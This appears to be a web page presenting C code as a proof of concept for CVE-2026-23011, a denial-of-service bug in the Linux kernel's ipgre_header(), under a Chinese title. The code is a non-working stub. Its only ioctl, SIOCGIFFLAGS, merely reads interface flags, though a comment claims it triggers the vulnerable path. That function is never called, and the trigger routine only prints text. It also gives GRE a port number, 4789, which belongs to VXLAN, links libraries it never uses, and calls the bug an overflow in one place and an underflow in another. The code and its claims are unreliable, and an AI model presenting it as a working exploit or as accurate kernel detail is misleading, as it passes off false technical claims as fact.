CVE-2026-23011 Linux内核ipgre_header()缓冲区溢出拒绝服务漏洞

/* * CVE-2026-23011 PoC - Linux kernel ipgre_header() DoS * This PoC demonstrates the kernel crash via manipulating network device headroom * Compile: gcc -o cve202623011 cve202623011.c -lnl-3 -lnl-genl-3 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <net/if.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/if_tun.h> #include <linux/ip.h> #include <linux/if_ether.h> #define GRE_PORT 4789 int create_gre_tunnel(const char *tunnel_name, const char *remote_ip) { int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket creation failed"); return -1; } // Create GRE tunnel interface struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, tunnel_name, IFNAMSIZ - 1); // Setup GRE parameters via ioctl // This triggers the vulnerable code path in ipgre_header() if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) { perror("ioctl failed"); close(sock); return -1; } close(sock); return 0; } void trigger_mld_traffic_with_gre(void) { /* * This PoC requires: * 1. Team or bonding interface with dynamic headroom changes * 2. IPv6 multicast traffic (mld) * 3. Dynamic GRE tunnel attachment * * The actual exploit triggers: * - mld_newpack() with insufficient skb reserve * - ipgre_header() skb_push() buffer underflow * - kernel BUG at net/core/skbuff.c:213 */ printf("[*] Triggering conditions for CVE-2026-23011...\n"); printf("[*] Requires team/bonding + IPv6 mld + GRE attachment\n"); } int main(int argc, char *argv[]) { printf("CVE-2026-23011 PoC - Linux kernel ipgre_header() DoS\n"); printf("CVSS: 5.5 (Medium)\n\n"); trigger_mld_traffic_with_gre(); printf("[*] Note: This is a kernel vulnerability requiring specific conditions\n"); printf("[*] See kernel commit 06fe0801396a36cab865b34f666de1d65bc5ce8e for fix\n"); return 0; }